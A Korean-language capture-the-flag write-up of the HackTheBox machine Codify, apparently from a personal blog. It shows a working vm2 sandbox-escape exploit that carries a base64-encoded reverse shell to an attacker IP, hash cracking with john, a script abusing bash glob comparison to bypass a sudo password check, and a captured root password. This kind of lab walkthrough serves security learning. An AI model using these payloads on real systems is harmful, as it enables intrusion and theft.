HTB Codify
HackTheBox 오픈베타 시즌3의 6번째 머신으로 Linux 환경의 쉬움 난이도로 출시되었다. 이번 포스팅에서는 Codify 머신의 해결 과정을 기록한다.
Recon
PortScan
발급받은 머신을 대상으로 포트 스캔 결과, 22tcp
, 80/tcp
포트만 식별되며 codify.htb
라는 호스트로 식별된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
╭─juicemon@juicemon-mac ~
╰─$ nmap -sCV -p 22,80 10.129.82.139
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-05 12:31 KST
Nmap scan report for 10.129.82.139
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.34 seconds
WEB
codify.htb:80
HTTP 웹서비스 접근 시 아래와 같이 nodejs 코드를 웹에서 테스트할 수 있는 플랫폼으로 확인되며, 샌드박싱 기술을 적용했다고한다.
내용을 조금 더 확인해보면 nodejs 코드를 테스트할 때 child_process
, fs
와 같은 모듈들은 사용이 불가능하다고한다.
위에서 코드를 웹에서 실행할때 해당 코드는 샌드박스 환경에서 실행된다고했다. 관련된 내용을 /about
에서 확인할 수 있고 해당 버전이 실제 서버에서 동작중인 코드에 적용된 vm2
모듈의 버전일지 모르겠지만, 링크된 URL을 통해 모듈의 버전정보도 식별할 수 있었다.
Foothold
vm2 Sandbox Escape (CVE-2023-30547)
vm2 3.9.16에 대한 취약점을 탐색하던 중 Sandbox Escape 취약점인 CVE-2023-30547를 확인할 수 있었고 해당 취약점의 PoC 코드를 codify 웹서비스에서 제공하는 코드 테스트 기능에 적용하니 샌드박스에서 탈출하여 샌드박스 계쩡이 아닌 호스트 계정으로 명령이 실행된 것을 확인할 수 있었다.
Users
joshua
위에서 vm2 Sandbox Escape를 통해 svc
계정으로 코드 실행이 가능한 것을 확인하였고, 코드를 수정하여 리버스 쉘을 획득을 시도한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjU1IiwzMDAwMCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oIi9iaW4vYmFzaCIpJw== | base64 -d | bash');
}
`
console.log(vm.run(code));
위 코드를 실행하기 전에 실행한 공격자 리스너 포트로 svc의 쉘을 전달받을 수 있었다.
1
2
svc@codify:~$ id
uid=1001(svc) gid=1001(svc) groups=1001(svc)
svc 계정의 쉘을 획득 후 시스템을 탐색하던 과정에서 /var/www/contact/tickets.db
를 확인할 수 있었고, sqlite3
DB 파일로 확인되었으며 패스워드가 적용되어있지 않아 내용을 확인할 수 있었다.
그 내용 중 users 테이블에서 아래와 같이 joshua 계정의 패스워드 해시가 확인할 수 있었다.
확보한 해시는 hashcat wiki를 통해 어떤 해시인지 식별이 가능했고, 무지성으로 john the ripper
를 통해 크랙을 시도해도 쉽게 크랙이 가능했다.
1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~/Desktop/Codify]
└─# john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1 (?)
1g 0:00:00:20 DONE (2023-11-05 00:16) 0.04764g/s 65.17p/s 65.17c/s 65.17C/s incubus..danica
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Privilege Escalation
탈취한 Bcrypt 해시를 크랙하여 joshua 계정으로 ssh 접근이 가능했고, 해당 계정에서 sudo 권한을 확인하여 아래와 같이 특정 쉘 스크립트를 실행할 수 있는것으로 파악되었다.
1
2
3
4
5
6
7
joshua@codify:~$ sudo -l
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
mysql-backup.sh
스크립트 내용을 보면 MySQL 유저 root의 패스워드를 검증하여 인증하는 로직이 존재한다. 패스워드는 /root/.creds
에 있어 현재 계정의 권한으로 확인할 수 없다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
유저에게 입력받은 값인 $USER_PASS
와 root 계정의 패스워드가 저장된 변수인 $DB_PASS
를 if문으로 비교하는 코드를 주목해야한다. Bash Script Comparison Operators를 확인해보면 ==
연산자를 사용했을 경우 아래와 같은 케이스로 비교가 될 수 있다는 케이스를 확인할 수 있었다.
1
2
3
4
5
[[ $a == z* ]] # True if $a starts with an "z" (pattern matching).
[[ $a == "z*" ]] # True if $a is equal to z* (literal matching).
[ $a == z* ] # File globbing and word splitting take place.
[ "$a" == "z*" ] # True if $a is equal to z* (literal matching).
위 내용을 통해 입력 가능한 모든 문자를 시작으로하여 *
를 입력해 인증을 우회할 수 있도록 스크립트를 제작하였다.
1
2
3
4
5
6
7
8
9
#!/bin/bash
input_string="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+[]{}|;:,.<>?/="
string_length=${#input_string}
for (( i = 0; i < string_length; i++ )); do
current_char="${input_string:$i:1}"
echo "$current_char*" | sudo /opt/scripts/mysql-backup.sh
done
mysql-backup.sh
스크립트를 보더라도 백업 파일을 저장하는것 외 크게 권한 상승에 도움될 만한 부분은 없었지만, root 계정의 패스워드로 mysqldump
를 실행한다는 점에서 아이디어를 얻어 pspy64
를 통해 프로세스를 모니터링하면서 위에서 작성한 스크립트를 다시 동작하니 아래와 같이 root 권한으로 동작하는 커멘드 라인을 읽을 수 있엇고 그중 /root/.creds
의 내용인 root 계정의 패스워드도 식별할 수 있었다.
1
2
3
4
2023/11/05 04:44:40 CMD: UID=0 PID=3055 | /usr/bin/mkdir -p /var/backups/mysql
2023/11/05 04:44:40 CMD: UID=0 PID=3057 | /usr/bin/mysql -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 -e SHOW DATABASES;
2023/11/05 04:44:40 CMD: UID=0 PID=3060 | /usr/bin/mysqldump --force -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 mysql
2023/11/05 04:44:41 CMD: UID=0 PID=3063 | /usr/bin/mysqldump --force -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 sys
해당 패스워드를 통해 root로 로그인이 가능하였고 이번 머신을 마무리 할 수 있었다.
1
2
3
4
joshua@codify:/tmp$ su -
Password:
root@codify:~# id
uid=0(root) gid=0(root) groups=0(root)